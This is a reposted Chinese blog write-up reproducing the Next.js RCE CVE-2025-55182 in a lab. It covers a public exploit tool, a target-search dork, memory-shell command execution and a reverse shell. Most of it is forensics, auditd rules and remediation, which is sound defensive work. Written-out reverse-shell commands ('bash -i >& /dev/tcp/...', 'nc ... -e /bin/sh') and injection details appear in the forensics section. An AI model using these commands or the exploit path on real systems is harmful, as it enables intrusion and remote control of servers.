CVE-2025-55182复现学习

admin 2025-12-22 04:38:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章详细介绍了CVE-2025-55182漏洞的复现过程,这是一个影响Next.js的严重RCE漏洞,允许攻击者在服务器上执行任意命令并植入内存马。文章提供了漏洞环境搭建、POC工具使用、漏洞分析、取证特征、清除方法和部署审计的完整指南。文章强调了该漏洞对Next.js影响重大但对React影响极小,并提供了包括立即终止进程、阻断特定路径、启用审计日志、最小化服务权限等多方面的处置建议。 综合评分: 91 文章分类: 漏洞分析,渗透测试,WEB安全,漏洞POC,应急响应


cover_image

CVE-2025-55182复现学习

白帽子

2025年12月14日 14:56 广东

以下文章来源于MicroPest ,作者MicroPest

MicroPest .

个人开发的小工具

上周,Next.js & React 满分RCE漏洞 全网爆火,威力无比。等poc出来后,也凑热闹般地上来看看学习一下。通过此文,也算是知晓了一些该漏洞的危害程度。

一、poc工具

https://github.com/darkfiv/ReactExploitGUI

有源码和编译好的。

二、批量关键词:

app=”Next.js” && body=”/_next/static/chunks/app/”

三、搭建环境

在kali中,下载并运行漏洞环境

下载存在漏洞的版本环境,这里选择一个存在漏洞的版本即可(我这里下载的是16.0.5):

npm create [email protected] react -y

切换到下载的目录: cd react

运行对应环境(注意以管理员权限运行): npm run dev

说明能正常访问了。

四、分析过程

1、工具检测,如下图,

2、分析

我们关注curl -I http://192.168.137.129:3000/

上图,X-Powered-By: Next.js,说明是 Node;

上图,ss -tlnp | grep :3000,查端口归属进程,pid=11644

上图,readlink -f /proc/11644/exe,看进程是/usr/bin/node,也说明是挂载在Node上;

访问

http://192.168.137.129:3000/dmzaxx7k67k1diag?cmd=whoami

,下图

我们在日志中找下grep -R “dmzaxx7k67k1diag” /var/log/* 2>/dev/null,下图

/var/log/suricata/eve.json:{“timestamp”:”2025-12-13T21:32:11.713491-0500″,”flow_id”:1118722491667297,”in_iface”:”eth0″,”event_type”:”http”,”src_ip”:”192.168.137.1″,”src_port”:51844,”dest_ip”:”192.168.137.129″,”dest_port”:3000,”proto”:”TCP”,”ip_v”:4,”pkt_src”:”wire/pcap”,”tx_id”:0,”http”:{“hostname”:”192.168.137.129″,”http_port”:3000,”url”:”/dmzaxx7k67k1diag?cmd=whoami”,”http_user_agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36″,”http_content_type”:”application/json”,”http_method”:”GET”,”protocol”:”HTTP/1.1″,”status”:200,”length”:68}}

3、架起nc监听,执行反弹shell,下图

反弹成功。

看下日志记录,

grep -nE ‘”src_ip”:”192.168.137.129″.*”dest_ip”:”192.168.1.11″.*”dest_port”:4444’ /var/log/suricata/eve.json

查看反连,下图

ss -tnp | grep ‘192.168.1.11:4444’

在日志中找下痕迹,下图

grep -R “192.168.1.11.*4444” /var/log/* 2>/dev/null

4、源码中两款内存马

简单执行型内存马:core\memshell.py:246-247 (路径 /exec ,调用 child_process.exec);

哥斯拉型内存马:core\memshell.py:238-245 (路径 /api/v1/n0rth ,RC4 通信);

5、注入机制要点

  • _response._prefix 注入上述 JS;由 multipart 表单承载,字段 name=”0″..”3″ , name=”3″ 使用 UTF-16LE+Base64 编码,见 core\payload_builder.py:34-63 。

  • 请求头包含 Next-Action 、 X-Nextjs-Request-Id 、 X-Nextjs-Html-Request-Id , Content-Type: multipart/form-data; boundary=… ,见 core\payload_builder.py:93 。

  • 成功特征为 3xx 或特定重定向头,见 core\memshell.py:142-151 。

6、取证特征

  • 路由痕迹

  – 访问 GET /exec?cmd=… ,状态码多为 200;注入阶段可能出现 303/307(你界面显示 303 重定向)。

  – POST /api/v1/n0rth ,请求体为 JSON,字段 data 为 Base64;返回体同样为 {“data”: “…”}

  • 进程行为

  – 简单型出现 node 进程派生 sh/bash/cmd 执行,调用点为 child_process.exec 。

  – 哥斯拉型不一定派生系统命令,更多是在内存中执行处理器并通过 RC4 回包。

  • 静态签名

  – http.Server.prototype.emit 被重写。

  – 常量路径 ‘/exec’ 或 ‘/api/v1/n0rth’ 。

  – 常量 RC4 密钥字符串 ‘3c6e0b8a9c15224a’ 。

  • 网络日志

  – 命令执行入口: /exec?cmd=whoami 等。

  – 哥斯拉会话:频繁 POST /api/v1/n0rth 与 Base64 负载。

7、定位与清除

  • 在目标主机确认监听 3000 的 exe 与 PID: ss -ltnp | grep :3000 , readlink -f /proc//exe 。

  • 杀进程或重启服务可清空内存马(挂载在进程内存)。

  • 修补注入入口(Next.js 弱点或自定义接口),并在反代/WAF 阻断两条路径和 cmd= 参数。

  • 审计与监控

  – 审计 execve 与 connect (你已配置 auditd ),结合 ppid= 过滤。

  – IDS/WAF 规则:匹配 ^/exec$ 与 ^/api/v1/n0rth$ 路径、请求体含 {“data”:”.+”} 的 Base64。

8、React与Next.js的关系

  • React是前端UI库,专注组件渲染与状态管理。

  • Next.js是基于React的全栈框架,提供路由、SSR/SSG/ISR、Server Components、Middleware、Server Actions,以及Node/Edge运行时整合。

  • 开发形态:Next.js应用的页面与组件本质都是React组件;Next在服务端把这些组件编译并运行,负责请求处理与渲染输出。

9、该CVE漏洞对两者的影响

  • 对React:影响极小。React只是浏览器端/组件层的库,不直接处理HTTP或服务器执行,纯React静态站(例如只用 vite /CRA构建、无自建后端)不受此类服务端RCE影响。

  • 对Next.js:影响重大。漏洞利用的是Next的服务端请求处理链(与“Server Actions/Next-Action”解析、特殊multipart载荷相关),可在Next的Node服务进程内执行任意代码并挂载内存马。

五、部署审计

(一)添加exec审计行为

apt-get install auditd -y

systemctl enable –now auditd

auditctl -a always,exit -F arch=b64 -S execve -F key=exec

auditctl -a always,exit -F arch=b32 -S execve -F key=exec

之后可用:

ausearch -k exec | aureport -x –summary

(二)如何使用

1、目标

  • 用 auditd 的 ausearch/aureport 把“反弹 Shell”证据串出来:入口执行、具体命令行、父子进程关系、到监听机的出站连接。

2、现场取证(立即执行)

  • 锁定监听 3000 的应用进程 PID:

  ss -ltnp | grep :3000

  • 在最近 2 小时内,抓所有 execve 事件,并展示可读细节:

  ausearch -k exec -ts -2h -i

  • 只看高风险可执行文件(bash/sh/nc/python/perl),并带上下文:

  ausearch -k exec -ts -2h -i | grep -E ‘type=EXECVE|/bin/(bash|sh|nc)|/usr/bin/(python|perl)’ -A3

  • 按父进程定位(把 <PPID> 换成监听 3000 的进程 PID,例如 node/java):

  ausearch -k exec -ts -2h -i | grep “ppid=” -A3

  关注字段:exe=...cmdline=...ppid=...cwd=...。反弹常见特征:

  – bash -c 'bash -i >& /dev/tcp/192.168.1.11/4444 0>&1'

  – nc 192.168.1.11 4444 -e /bin/sh

  – python -c 'import socket,subprocess,os;...'

  • 生成执行概览,可加时间窗口:

   aureport -x –summary -ts -2h

  之后再对可疑项深入:

  ausearch -k exec -ts -2h -i -x /bin/bash

  ausearch -k exec -ts -2h -i -x /bin/nc

  ausearch -k exec -ts -2h -i -x /usr/bin/python

3、网络连接证据(到 192.168.1.11:4444)

  • 查看近期的 connect 系统调用:

  ausearch -ts -2h -sc connect -i

  • 汇总网络事件:

  aureport -n -ts -2h

  • 若输出很多,可粗筛端口或目标 IP:

  ausearch -ts -2h -sc connect -i | grep -E ‘192.168.1.11|4444’

4、规则优化(后续更好取证)

  • 开启/优化 exec 审计(减少噪声,聚焦普通用户进程):

  auditctl -a always,exit -F arch=b64 -S execve -F euid>=1000 -F auid!=4294967295 -k exec

  auditctl -a always,exit -F arch=b32 -S execve -F euid>=1000 -F auid!=4294967295 -k exec

  • 记录出站 connect(IPv4/IPv6):

  auditctl -a always,exit -F arch=b64 -S connect -F a0=2  -F euid>=1000 -k netconn

  auditctl -a always,exit -F arch=b32 -S connect -F a0=2  -F euid>=1000 -k netconn

  auditctl -a always,exit -F arch=b64 -S connect -F a0=10 -F euid>=1000 -k netconn6

  auditctl -a always,exit -F arch=b32 -S connect -F a0=10 -F euid>=1000 -k netconn6

  • 持久化规则(重启也生效):

  – 写入 /etc/audit/rules.d/05-exec.rules/etc/audit/rules.d/06-net.rules 后加载:

     augenrules –load

    systemctl restart auditd

5、判定与串证思路

  • 技术栈判定:先用 ss -ltnp 看 3000 端口的 exenodejava)。

  • ausearch -k exec -ts <时间窗> -i | grep "ppid=<该PID>" 把该进程派生的命令全部列出;命令行里出现 192.168.1.11:4444 或上述反弹模式即为铁证。

  • 再用 aureport -n -ts <时间窗>ausearch -sc connect -ts <时间窗> -i 验证同一时间的出站连接到 4444,形成“入口请求→命令执行→出站连接”的完整链。

六、总结:

1、危害概述

  • 提供未鉴权的任意命令执行入口:/exec?cmd=...,直接在服务器上以服务进程权限运行系统命令

  • 通过重写 http.Server.prototype.emit 挂载在内存中,不依赖磁盘文件,重启前难以被静态查杀发现

  • 返回 JSON 结果,便于攻击者脚本化联动(命令回显、错误信息)

2、安全影响

  • 机密性:可读取和外传敏感文件、配置、凭据(如环境变量、密钥、数据库凭证)

  • 完整性:可篡改应用数据、系统配置、植入进一步后门或持久化机制

  • 可用性:可执行资源消耗或破坏性命令导致服务中断(fork 炸弹、删除文件、关闭服务)

  • 权限升级:若服务进程权限较高或存在本地提权点,可进一步获得更高系统权限

  • 横向移动:利用主机网络访问权限扫描、爆破、连接内部资源,实现网络内渗透

3、业务影响

  • 生产环境数据被泄露或篡改,造成合规与法律风险

  • 可被用作跳板攻击其他业务系统,扩大事件范围

  • 造成服务不可用和品牌声誉损害,恢复成本高

4、隐蔽性与取证难点

  • 仅在内存中存在,重启即消失,落地证据有限

  • 入口是正常 HTTP 流量,且路径简单,易与业务请求混杂

  • 子进程调用点为 child\_process.exec,若未开启审计或进程监控,行为证据薄弱

  • 无鉴权与固定返回结构使攻击自动化与低噪声化

5、扩散路径与攻击链示例

  • 入口访问 GET /exec?cmd=<payload> → 在服务器上执行系统命令

  • 进一步执行反弹 Shell、下载并运行持久化脚本、扫描内网、窃取凭据

  • 与 C2 联动:通过命令组合实现持续控制与数据回传

6、风险评级与前提

  • 风险等级:高到严重(内存 RCE 且未鉴权)

  • 前提条件:攻击者可访问目标的 3000 端口和该路由;服务进程具备执行系统命令的权限

7、可识别指纹

  • 固定入口:/exec,查询参数包含 cmd=

  • 响应模式:HTTP 200,JSON 字段 success/stdout/stderr/error

  • 进程行为:node 进程派生 sh/bash/cmd.exe 等子进程

8、处置要点

  • 立即重启或终止被注入的应用进程,清除内存态挂载

  • 在反代/WAF 阻断 ^/exec$ 路径和含 cmd= 的请求;对可疑长参数启用异常检测

  • 启用并收集审计日志(execve/connect)与进程监控,针对 ppid=<node/java PID> 过滤

  • 最小化服务权限、禁用外部命令调用路径、对输入进行严格校验及路由白名单

  • 回溯注入来源并修补漏洞(Next.js/中间件链路),审计同时间段的外联与数据访问行为


查看原文:《CVE-2025-55182复现学习》

评论:0   参与:  38